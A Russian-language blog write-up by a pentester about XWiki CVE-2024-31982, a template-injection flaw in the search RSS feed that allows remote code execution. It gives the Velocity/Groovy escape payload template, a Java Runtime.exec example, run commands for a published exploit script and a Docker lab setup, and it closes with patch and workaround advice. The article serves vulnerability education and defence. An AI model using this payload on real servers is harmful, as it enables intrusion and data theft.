Привет! Меня зовут Артур, я специалист по пентестам в компании Xilant. В этой статье разберём одну из наиболее опасных уязвимостей, обнаруженных в XWiki — CVE-2024-31982, которая позволяет добиться удалённого выполнения произвольного кода (RCE) через, казалось бы, безобидную функциональность поиска.

XWiki давно занимает ключевое место среди корпоративных Wiki-платформ благодаря гибкой архитектуре и мощной системе шаблонов. Однако именно эта гибкость сыграла против неё: некорректная обработка пользовательского ввода в механизме рендеринга шаблонов привела к появлению критической SSTI-уязвимости.

В материале я покажу, как устроена брешь, как она эксплуатируется и как выглядит автоматизированный PoC, который я написал на основе анализа опубликованного исследования автора jacaba с портала Vicarius.io.

Суть уязвимости: ошибка в механизме шаблонов

XWiki активно использует Apache Velocity и Groovy для генерации HTML и выполнения серверной логики. Проблема заключалась в том, что параметр $text, содержащий строку поиска пользователя, передавался в шаблон RSS-ленты без какой-либо валидации или экранирования:

#set ($discard = $feed.setTitle($services.localization.render('search.rss', [$text])))

#set ($discard = $feed.setDescription($services.localization.render('search.rss', [$text])))

Таким образом злоумышленник мог внедрить произвольные конструкции Velocity с переходом в Groovy-контекст и выполнить код на сервере.

Что такое SSTI и почему это критично

Server-Side Template Injection (SSTI) — это уязвимость веб-безопасности, которая возникает когда приложение обрабатывает пользовательский ввод как часть шаблона на сервере. Это позволяет злоумышленнику внедрять и выполнять произвольный код на сервере.

Простая аналогия:

  • Ожидаемое поведение:
    «Здравствуйте, ${username}» → «Здравствуйте, Иван»

  • Уязвимое поведение:
    ${7*7} → 49

  • Эксплуатация:
    ${@java.lang.Runtime@getRuntime().exec('whoami')}

Такое поведение критично с точки зрения безопасности. Если коротко, SSTI даёт злоумышленнику возможность превращать обычные строки в исполняемый код. Из-за этого он может:

  • выполнять любые команды прямо на сервере

  • читать и скачивать файлы

  • получать доступ к конфиденциальным данным

  • полностью компрометировать приложение

По сути, это прямой и очень удобный вход внутрь вашей системы.

Как работают шаблонизаторы в XWiki и почему они становятся уязвимыми

1. Apache Velocity — основной шаблонизатор XWiki

Velocity отвечает за генерацию HTML и подстановку динамических данных.

Проблема в том, что если передать ему «нечестный» ввод от пользователя, можно незаметно «выйти» из шаблона с помощью конструкции }}} и вставить туда свой код.

Уязвимый пример: значение $text подставляется без проверки — и злоумышленник может встроить в него что угодно.

2. Groovy — язык, который XWiki использует для макросов

Groovy позволяет выполнять серверную логику прямо в XWiki.
А если злоумышленник сумеет попасть внутрь Groovy-блока — он может написать любой Java/Groovy-код, и сервер его выполнит.

Другими словами: Velocity помогает злоумышленнику «выбраться» из шаблона, а Groovy — выполнить произвольный код. В связке это превращается в полноценный RCE.

Механизм эксплуатации

Полезная нагрузка (Payload) выглядит так:

}}}{{async async=false}}{{groovy}}ЗЛОВРЕДНЫЙ_КОД{{/groovy}}{{/async}}

Что же тут происходит:

  • }}} — закрывают предыдущие открытые блоки в Velocity шаблоне

  • {{async async=false}} — объявляет асинхронный блок, который немедленно выполняется

  • {{groovy}}...{{/groovy}} — внутри этого блока выполняется произвольный код на Groovy с правами приложения

Вот как выглядит перехват запроса со всеми нужными нам данными:

GET /bin/view/Main/ HTTP/1.1

Host: localhost:8080

Cache-Control: max-age=0

Accept-Language: en-US,en;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Linux"

Referer: http://localhost:8080/bin/login/XWiki/XWikiLogin?xredirect=%2Fbin%2Fview%2FMain%2F&loginLink=1

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID=7C2475ADACF19E94AA669F43E6B3350B; username="mG8L+qSm7WpGHYktowzcuA__"; password="RKEitl7mN54_"; rememberme="false"; validation="08dea41c8cc74adff11feaa87cc72caa"

Connection: keep-alive

PoC и автоматизация

Я подготовил автоматизированный exploit-скрипт, который можно найти на моем GitHub. Скрипт выполняет три задачи:

  1. Производит аутентификацию в XWiki с указанными учётными данными.

  2. Формирует эксплойтный URL, внедряя Groovy-код в параметр запроса.

  3. Извлекает результат команды из заголовка RSS-ленты.

Пример запуска:

git clone https://github.com/raishin1/CVE-2024-31982.git

cd CVE-2024-31982

python3 exploit.py http://localhost:8080 testuser test123

После запуска скрипт предложит указать команду для выполнения на стороне уязвимого сервера.

Пошаговая эксплуатация на тестовом стенде

Для воспроизведения уязвимости достаточно поднять XWiki нужной версии через Docker:

# Создаем директорию

mkdir xwiki-vulnerable

cd xwiki-vulnerable

# Создаем docker-compose.yml

cat > docker-compose.yml << 'EOF'

version: '3.8'

services:

  xwiki-db:

    image: mariadb:10.11

    container_name: xwiki-db

    environment:

      - MYSQL_ROOT_PASSWORD=root

      - MYSQL_USER=xwiki

      - MYSQL_PASSWORD=xwiki

      - MYSQL_DATABASE=xwiki

    command:

      - --character-set-server=utf8mb4

      - --collation-server=utf8mb4_unicode_ci

      - --skip-character-set-client-handshake

    volumes:

      - db_data:/var/lib/mysql

    restart: unless-stopped

  xwiki:

    image: xwiki:15.5.3-mysql-tomcat

    container_name: xwiki

    depends_on:

      - xwiki-db

    ports:

      - "8080:8080"

    environment:

      - DB_USER=xwiki

      - DB_PASSWORD=xwiki

      - DB_DATABASE=xwiki

      - DB_HOST=xwiki-db

    volumes:

      - xwiki_data:/usr/local/xwiki

    restart: unless-stopped

volumes:

  db_data:

  xwiki_data:

EOF

# Запускаем

docker compose up -d

# Проверяем статус

docker compose ps

# Смотрим логи

docker compose logs -f xwiki

Затем регистрируем пользователя:

Регистрация пользователя
Регистрация пользователя

Запускаем exploit-скрипт:

Результат можно увидеть в виде выполнения команд на стороне контейнера XWiki.

Опасность уязвимости

Проще говоря: если ваша XWiki доступна публично и не обновлена — любой человек может получить на сервере RCE без авторизации.

Это означает:

  • полный доступ ко всей базе знаний

  • возможность красть документы и персональные данные

  • изменение или удаление информации

  • использование сервера как точки входа в вашу инфраструктуру

Фактически это один шаг до полного захвата системы.

Как защититься

Чтобы быть защищенным от такого рода дыр, есть два варианта действий:

  • Обновить XWiki. Это самый простой и самый надёжный способ закрыть уязвимость. Установите одну из версий, где проблема уже исправлена: «14.10.20», «15.5.4» или «15.10-rc-1».

  • Если обновление пока невозможно, можно временно подстраховаться: удалите страницу Main.DatabaseSearch. Она не используется как основной поиск, поэтому ничего в работе XWiki не сломает, но при этом закроет дыру.

Не позволяйте функции поиска находить больше, чем вы рассчитывали. Обновляйтесь и держите свою вики в безопасности.

Комментарии (0)